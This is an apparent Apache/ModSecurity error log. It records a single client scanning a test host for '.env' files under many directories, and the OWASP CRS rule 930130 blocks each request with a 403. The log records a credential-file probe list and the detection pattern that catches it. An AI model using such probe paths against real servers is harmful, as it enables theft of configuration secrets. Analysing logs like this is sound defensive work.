[Wed Feb 25 06:05:09.546685 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/05-migrations/.env&quot;] [unique_id &quot;aZ6DBWXxsr5IXP-ltRia_gAAAAA&quot;]
[Wed Feb 25 06:05:09.546859 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/05-migrations/.env&quot;] [unique_id &quot;aZ6DBWXxsr5IXP-ltRia_gAAAAA&quot;]
[Wed Feb 25 06:05:09.583213 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /frontend/react/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/react/.env&quot;] [unique_id &quot;aZ6DBYv6AM5Bs3q_JQDYhgAAAAc&quot;]
[Wed Feb 25 06:05:09.583464 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/react/.env&quot;] [unique_id &quot;aZ6DBYv6AM5Bs3q_JQDYhgAAAAc&quot;]
[Wed Feb 25 06:05:09.583636 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/react/.env&quot;] [unique_id &quot;aZ6DBYv6AM5Bs3q_JQDYhgAAAAc&quot;]
[Wed Feb 25 06:05:09.592910 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/06-base-service/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/06-base-service/.env&quot;] [unique_id &quot;aZ6DBWXxsr5IXP-ltRia_wAAAAA&quot;]
[Wed Feb 25 06:05:09.593188 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/06-base-service/.env&quot;] [unique_id &quot;aZ6DBWXxsr5IXP-ltRia_wAAAAA&quot;]
[Wed Feb 25 06:05:09.593349 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/06-base-service/.env&quot;] [unique_id &quot;aZ6DBWXxsr5IXP-ltRia_wAAAAA&quot;]
[Wed Feb 25 06:05:09.608382 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /frontend/vue/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/vue/.env&quot;] [unique_id &quot;aZ6DBYv6AM5Bs3q_JQDYhwAAAAc&quot;]
[Wed Feb 25 06:05:09.608628 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/vue/.env&quot;] [unique_id &quot;aZ6DBYv6AM5Bs3q_JQDYhwAAAAc&quot;]
[Wed Feb 25 06:05:09.608796 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/vue/.env&quot;] [unique_id &quot;aZ6DBYv6AM5Bs3q_JQDYhwAAAAc&quot;]
[Wed Feb 25 06:05:09.640830 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/07-feature-flags/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/07-feature-flags/.env&quot;] [unique_id &quot;aZ6DBWXxsr5IXP-ltRibAAAAAAA&quot;]
[Wed Feb 25 06:05:09.641085 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/07-feature-flags/.env&quot;] [unique_id &quot;aZ6DBWXxsr5IXP-ltRibAAAAAAA&quot;]
[Wed Feb 25 06:05:09.641253 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/07-feature-flags/.env&quot;] [unique_id &quot;aZ6DBWXxsr5IXP-ltRibAAAAAAA&quot;]
[Wed Feb 25 06:05:09.681234 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/08-performance/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/08-performance/.env&quot;] [unique_id &quot;aZ6DBWXxsr5IXP-ltRibAQAAAAA&quot;]
[Wed Feb 25 06:05:09.681501 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/08-performance/.env&quot;] [unique_id &quot;aZ6DBWXxsr5IXP-ltRibAQAAAAA&quot;]
[Wed Feb 25 06:05:09.681688 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/08-performance/.env&quot;] [unique_id &quot;aZ6DBWXxsr5IXP-ltRibAQAAAAA&quot;]
[Wed Feb 25 06:05:09.740108 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /frontendfinaltest/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontendfinaltest/.env&quot;] [unique_id &quot;aZ6DBYv6AM5Bs3q_JQDYiQAAAAc&quot;]
[Wed Feb 25 06:05:09.740368 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontendfinaltest/.env&quot;] [unique_id &quot;aZ6DBYv6AM5Bs3q_JQDYiQAAAAc&quot;]
[Wed Feb 25 06:05:09.740558 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontendfinaltest/.env&quot;] [unique_id &quot;aZ6DBYv6AM5Bs3q_JQDYiQAAAAc&quot;]
[Wed Feb 25 06:05:09.789977 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/09-production/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/09-production/.env&quot;] [unique_id &quot;aZ6DBWXxsr5IXP-ltRibAgAAAAA&quot;]
[Wed Feb 25 06:05:09.790233 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/09-production/.env&quot;] [unique_id &quot;aZ6DBWXxsr5IXP-ltRibAgAAAAA&quot;]
[Wed Feb 25 06:05:09.790450 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/09-production/.env&quot;] [unique_id &quot;aZ6DBWXxsr5IXP-ltRibAgAAAAA&quot;]
[Wed Feb 25 06:05:09.795868 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ftp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ftp/.env&quot;] [unique_id &quot;aZ6DBYv6AM5Bs3q_JQDYigAAAAc&quot;]
[Wed Feb 25 06:05:09.796103 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ftp/.env&quot;] [unique_id &quot;aZ6DBYv6AM5Bs3q_JQDYigAAAAc&quot;]
[Wed Feb 25 06:05:09.796264 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ftp/.env&quot;] [unique_id &quot;aZ6DBYv6AM5Bs3q_JQDYigAAAAc&quot;]
[Wed Feb 25 06:05:09.867111 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/10-subscriptions/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/10-subscriptions/.env&quot;] [unique_id &quot;aZ6DBWXxsr5IXP-ltRibAwAAAAA&quot;]
[Wed Feb 25 06:05:09.867376 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/10-subscriptions/.env&quot;] [unique_id &quot;aZ6DBWXxsr5IXP-ltRibAwAAAAA&quot;]
[Wed Feb 25 06:05:09.867571 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/10-subscriptions/.env&quot;] [unique_id &quot;aZ6DBWXxsr5IXP-ltRibAwAAAAA&quot;]
[Wed Feb 25 06:05:09.867909 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ftpmaster/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ftpmaster/.env&quot;] [unique_id &quot;aZ6DBYv6AM5Bs3q_JQDYiwAAAAc&quot;]
[Wed Feb 25 06:05:09.868151 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ftpmaster/.env&quot;] [unique_id &quot;aZ6DBYv6AM5Bs3q_JQDYiwAAAAc&quot;]
[Wed Feb 25 06:05:09.868320 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ftpmaster/.env&quot;] [unique_id &quot;aZ6DBYv6AM5Bs3q_JQDYiwAAAAc&quot;]
[Wed Feb 25 06:05:09.903504 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/11-transactions/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/11-transactions/.env&quot;] [unique_id &quot;aZ6DBWXxsr5IXP-ltRibBAAAAAA&quot;]
